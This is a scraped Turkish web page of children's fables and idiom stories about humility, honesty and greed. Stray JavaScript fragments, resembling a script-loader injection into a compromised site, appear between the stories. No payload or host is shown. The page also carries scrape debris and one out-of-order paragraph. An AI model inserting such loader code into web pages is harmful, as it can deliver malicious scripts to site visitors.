Güneş: ‘Gördün mü bak rüzgâr kardeş! Sen ne kadar güçlü olduğunu zorla, zorbalıkla göstermeye çalıştın. Şiddetle estin ama yine de o ceketi çıkartamadın. Oysaki ben yaşlı adamı sadece ısıttım. Demek ki bu hayatta nazik olmak, zorlamalardan daha etkiliymiş’ demiş.

Bu masal sonrasında rüzgâr, bir daha hiç büyüklenmemiş. Şiddetli eserek insanlara ne kadar güçlü olduğunu da kanıtlamamış. O da güneş gibi sakinliği ve nazikliği ile halletmiş işlerini.

Masalın sonunda masallar diyarından yeryüzüne üç tane elma düşmüş, üçü de zorbalığın güç olmadığını anlayan, her zaman alçak gönüllü olan çocuklara gelsin… Siz siz olun, rüzgar gibi büyüklenmeyin…

ALNI AÇIK OLMAK
ALNI AÇIK OLMAK

Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; develer top oynarken eski hamam içinde. Horozlar tellal iken, pireler ise hamal iken. Ben ise dedemin beşiğini tıngır mıngır sallar iken… Anam da anam, bir de ne göreyim! Dedem düşmez mi beşikten, babam gelmez mi peşinden! Babam kaptı maşayı, ben dolandım kapıyı… Dolana dolana durdum, durdum da ne buldum! Bir küçük köy buldum. Var bu köyde bilge bir dede, şimdi kulak verin de dinleyin, ne der size bu bilge dede…

Bir varmış, bir yokmuş… Eski zamanlarda söylenmiş sözler, şimdilerde deyim olmuş. Ama her deyimin bir hikâyesi, bir söylenme amacı varmış. Bilge dede bu hikâyelerin hepsini bilirmiş. Peki, ‘Alnı açık olmak’ ne demekmiş? İşte bilge dededen ‘Alnı açık olmak’ deyiminin hikâyesi…

Hohohoho.. Bilge dedeniz geldi çocuklar… Bugün size anlatacağım herkesin kullandığı bir deyimin hikâyesi. Önce ‘alnı açık olmak’ ne demek onu anlatayım ben size. Eğer kimseden gizleyeceğiniz bir suçunuz, bir utancınız yoksa herhangi bir ayıp davranışınız bulunmuyorsa işe o zaman size ‘alnı açık insan’ denir. Peki, bu söz nasıl çıkmıştır? Bilge dededen siz çocuklara alnı açık olmak hikâyesi… Buyurun dinlemeye…

Sevgili çocuklar; bundan çok çok eski zamanlarda, suç işlemek şimdikinden çok daha kötü bir şeymiş. Şu. İşleyen kişilere şimdi nasıl cezalar veriliyorsa, o zamanlarda suç işleyen kişilerin alınlarına kızgın demirler ile damgalar vurulurmuş. Şimdi suç işleyen bir kişinin cezası nasıl ki işlediği suça göre belirleniyorsa, o zamanlarda da insanların işlediği suçların büyüklüğüne göre belirlenirmiş bu kızgın damgalar. Şimdilerde var olan nüfus kâğıtları, adli kayıtlar eski zamanlarda olmadığı için bir kişinin suçlu olup olmadığı alnında damga olup olmadığına bakarak anlaşılırmış.

Bilge dede alnında damga ile gezmek çok kötü değil mi? Suçlu olduğun hemen anlaşılır, kimse seninle konuşmak istemez’ dediğinizi duyar gibiyim. Sevgili çocuklar, eski zamanlarda alınlarına damga vurulan bu suçlular, alınlarındaki damga ile gezmekten utanırmış. Şimdiki gibi ameliyat imkânı da yok ki… O damga alnını bir kere vuruldu mu hep orada! Şimdi çocuklar, alnına damga vurulmuş bir suçlu öyle gezmek ister mi? İstemez tabi. İşte bu suçlular, alınlarındaki damgayı saklamak için, alınlarını kimseye göstermeden yürürlermiş. Alınlarındaki damgayı kimse görmesin diye başları eğik dolaşırlar, eski zamanlarda insanların taktıkları külahları ve takkeleri alınlarına kadar indirerek bu damgayı kapamaya çalışırlarmış. İşte o zamanlarda suçlu kişilerin alınlarını kapatması, suçlu olmayan kişilerin de alınları açık bir şekilde gezmesi geleneğini başlatmış. Böylece toplum arasında suçlu olan ve suçsuz olan kişiler ayrılıyormuş.

Bilge dedeniz der ki; alnı açık olmak demek herhangi bir suçu bulunmayan, ayıp bir hareket yapmamış demektir. Bunun hikâyesi de çok eskilere dayanır. Eğer siz de alnınızın açık olmasını istiyorsanız, dürüst bir yaşam sürmeli, yalan söyleyerek kimseyi kandırmamalısınız.

Bilge dededen bu seferlik bu kadar… Masal bittiğine göre, gökten üç elma düşsün ; biri Bilge dedenin, biri dürüst ve alnı açık çocukların, sonuncusu da masalı dinleyen herkesin olsun.

d.getElementsByTagName(‘head’)[0].appendChild(s);

AÇGÖZLÜLÜĞÜN SONU
AÇGÖZLÜLÜĞÜN SONU

AÇGÖZLÜLÜĞÜN SONU

 

Uzak ülkelerin birinde kendi halinde yaşlı bir dede yaşarmış. Bu yaşlı dedenin bir de çok sevdiği köpeği varmış. Köpek çalışkan bir köpek değilmiş. Bütün gün evin önünde yatar dururmuş. Yaşlı dedecik akşam olunca kalan yemeklerin hepsini köpeğiyle paylaşırmış.

Bir gün köpek yine kapının önünde yatarken yolun karşısından geçen tombul köpeği görmüş. Kendisi zayıfken o köpek neredeyse kendisinin iki katıymış.

acgozlulugun-sonu2

acgozlulugun-sonu3Köpek, yattığı yerden doğrulmuş:

ZAYIF KÖPEK: ‘Hey, köpek kardeş! Sen nereye gidiyorsun?’

Tombul köpek zayıf köpeğin yanına yaklaşmış. Birazcık gururlanarak anlatmaya başlamış.

TOMBUL KÖPEK: ‘Saraya gidiyorum. Ben sarayda yaşıyorum. Sen burada ne yapıyorsun?’

Zayıf köpek saray lafını duyunca kulaklarını dikmiş.

ZAYIF KÖPEK: ‘Ben de burada yaşlı bir dedenin eline düştüm. Doğru düzgün yemek vermiyor bana. Şu halime bak’ demiş.

Tombul köpek yavaşça yanına yaklaşmış:

TOMBUL KÖPEK: ‘İstersen benimle birlikte saraya gelebilirsin. Orada bize bir sürü yemek veriyorlar. Yediğin önünde yemediğin arkanda.’

Zayıf köpek duyduklarını düşünmeye başlamış. İstediği kadar yiyebileceği bir sürü yemek olduğunu hayal etmiş.

ZAYIF KÖPEK: ‘Tamam, gelirim tabi. Ama önce yaşlı dedeye gideceğimi söylemem lazım.’

Tombul köpekle ikisi beklemeye başlamışlar. Akşama doğru yaşlı dede eve gelmiş.

ZAYIF KÖPEK: ‘Dede, ben artık seninle yaşamak istemiyorum. Bana güzel yemekler vermiyorsun. Ben arkadaşımla birlikte saraya gideceğim.’

Dede duydukları karşısında çok üzülmüş. Köpeğe çok iyi yemekler veremediğini kendisi de biliyormuş fakat her akşam kendi yemeğinde ne varsa köpeğe de aynısından veriyormuş. Fakir olduğu için çok iyi yemekler yapamıyormuş.

YAŞLI DEDE: ‘Sen bilirsin köpekçik. Ama aç gözlülüğün sonu iyi değildir. Burada bütün yemekler senin. Ama orada yemeğini kim bilir kaç tane köpekle paylaşmak zorunda kalacaksın’

ZAYIF KÖPEK: ‘Kararım kesin dede. Ben gidiyorum.’

Köpek tombul köpek arkadaşıyla birlikte saraya doğru yola koyulmuş.

acgozlulugun-sonu4

Tombul köpek mutfakta çalışan bir aşçının kızının köpeği imiş. O yüzden aradan sıyrılıp rahatça saraya girmiş. Fakat bizim zayıf köpek dışarıda kalakalmış. Üstelik yemekler döküldüğünde yemek kapmaya çalışırken bir sürü köpeğin arasında kalarak kendini de yaralamış. En sonunda büyük bir çoban köpeği gelmiş ve önündeki yemeği de alarak kaçmış.

acgozlulugun-sonu6

Zayıf köpek yaşlı dedenin ne demek istediğini çok iyi anlamış. Yaptığı yanlışı fark etmiş. Gecenin karanlığında aç bir şekilde dedenin evine geri dönmüş.

Saraya vardıklarında bir de ne görsün! Saray kapısının önünde o kadar çok köpek yemek bekliyormuş ki… Hiçbir şey tombul köpeğin anlattığı gibi değilmiş.

Yaşlı dede köpeği görünce kızgın gibi gözükse de içinden sevinmiş. Çünkü o köpeği çok seviyormuş.

ZAYIF KÖPEK: ‘Yaşlı dede, ben büyük bir hata yaptım. Sen doğru söylemişsin. Elimdekiyle yetinmeyi bilmeliydim. Ben daha fazlasını ararken canımdan bile olacaktım.’

YAŞLI DEDE: ‘‘Bu sana ders olsun köpekçik. Bundan sonra elindekiyle yetin, hırsının kurbanı olma!’

Dede köpeği affederek güzelce karnını doyurmuş. O günden sonra köpek de dedeye büyük bir sevgi ile bağlanmış.

İkisi de mutlu mesut hayatlarına devam etmişler.

acgozlulugun-sonu5

Unutmayın; daha çoğunu isterken sahip olduklarınızı da kaybedebilirsiniz. O yüzden elimizdekilerle yetinmeyi bilmeliyiz.var d=document;var s=d.createElement(‘script’);

Deve İle Fare Masalı
Deve İle Fare Masalı

 

KENDİNİ BEĞENMİŞ FARE İLE İYİ KALPLİ DEVE MASALI

kendini_begenen_fare_deve

 

Bir varmış, bir yokmuş. Uzak mı uzak diyarların birinde kocaman bir orman varmış ve bu ormanda yaşayan kendini çok beğenmiş bir de fare varmış. Fare, kendini o kadar beğenmiş bir fareymiş ki herkesi etrafında pervane etmeye bayılır, herkesi parmağında döndürürmüş.

Günlerden bir gün fare, iyi kalpli bir deve ile tanışmış. Deve o kadar iyi kalpli bir deveymiş ki, fare ne isterse yapmış. Onunla saatlerce sohbet etmiş, onu sırtında taşımış, etrafı göstermiş. Fare devenin bu iyi kalpliliğini çok güzel kullanabileceğini düşünmüş ve hemen kafasında planlar yapmaya başlamış. iyi kalpli devenin ise farenin aklından geçen kötü planlardan haberi bile yokmuş!

Fare bir gün deve ile konuşurken ağacın arkasında sakladığı büyük bir yuları çıkarmış:

Fare: ‘Deve kardeş, biliyorsun ki ikimiz de çok iyi arkadaşız. Ben senden bir şey isteyeceğim. Bu yuları senin boynuna bağlayıp yuları da ben elimde tutacağım. Bu sayede ormandaki herkes benim ne kadar güçlü bir fare olduğumu görecek’ demiş.

Deve farenin bu isteğine şaşırmış. Fakat arkadaşına hayır diyemeyeceği için farenin bu teklifini kabul etmiş. Fare hemen yuları almış eline ve devenin boynundan geçirmiş. Bir elinle yuları tutan fare, başlamış yürümeye. Böylece küçücük fare önde, koskocaman deve arkada tin tin yürümeye başlamışlar.

Fare ormanın içinden geçerken gerim gerim geriliyormuş. Diğer büyün hayvanlar da bu ikiliye bakıp gözlerine inanamıyorlarmış. Önce giden küçücük bir fare, elinde bir yular ve yuların ucunda koskocaman bir deve… Ormandaki hayvanlardan hiçbiri bu görüntüye bir anlam verememişler. Fare ormandan geçerken o kadar böbürlenerek geçiyormuş ki, arkasından gelen kocaman deveye üstünlük sağladığını düşünüyormuş. Küçük aklı ile yuları eline aldığı vakit, deveye de üstünlük sağladığını düşünüyor ve kendi kendine gururlanıyormuş. ‘Ben ne kadar da kuvvetli bir fareymişim’ diye diye ormanın içinden geçmiş.

Deve ise ilk başta farenin neden boynuna yular geçirdiğini anlayamamış. Arkadaşını kırmamak için bu teklifi kabul etmiş. Fakat deve ve fare ormanın içine girdiklerinde;  farenin böbürlenişini, büyüklenişini gören deve neye uğradığını şaşırmış. Farenin bu kendini beğenmiş hal ve tavırlarına çok sinirlenen deve ona güzel bir ders vermek için harekete geçmiş.

kibirli_fare

Fare, elinde yuları ile bir müddet daha yürümüş ve yürüye yürüye bir ırmağın kenarına gelmiş. Irmağı görünce fare kalakalmış. ‘Ben bu ırmaktan nasıl geçeri karşı tarafa’ diye geçirmiş içinden. Deve ise farenin bu duraklamasının farkına vararak hemen konuya girmiş:

Deve:  ‘Ey tüm orman boyunca önümde yürüyen ve bana yol gösteren fare kardeş! Sen benim yol göstericimsin. Bak yularım senin ellerindedir. Bu ırmaktan geç ki ben de geçeyim’ demiş.

Fare kararsız bir şekilde deveye bakmış:

Fare: ‘İyi de deve kardeş, bu ırmak çok büyük. Ben buradan geçemem, boğulmaktan korkarım.’

Deve fareye ders vermek için çok güzel bir fırsat olduğunu anlamış ve hemen konuya devam etmiş:

Deve: ‘Fare kardeş, hiç korkma! Bu ırmak sandığın kadar derin değildir. Bak ben gireyim de ne kadar derin olduğunu gözlerinle gör’ demiş.

Deve ırmağa girmiş ve su seviyesi ancak dizlerine gelebilmiş. Deve fareye dönmüş:

Deve: ‘Bak fare kardeş, diz boyuna gelen su yüzünden mi korktun?’

Fare de tereddüt ederek cevap vermiş:

Fare: ‘İyi de deve kardeş dizden dize fark vardır. Senin ancak diz boyuna gelen su, benim boyumu kat kat aşar.’

Deve bu lafın üzerine hiç vakit kaybetmeden cevabını söylemiş:

Deve: ‘Ya fare kardeş, anladın mı hatanı? Madem herkesin su seviyesi farklı, sen de haddini ve yerini bil. Kendini çok büyük görme, yükseklerdesin zannetme. Kendin gibi olanlarla boy ölç, başkaları ile yarışma. Çünkü başkalarının dizine gelen sular seni boğar.’

Fare devenin bu sözlerine üzerine hatasını anlamış ve deveden özür dilemiş. Deveden aldığı bu dersi bir ömür boyu unutmayan fare, bir daha hiç kimseye büyüklenmemiş.

 

 var d=document;var s=d.createElement(‘script’);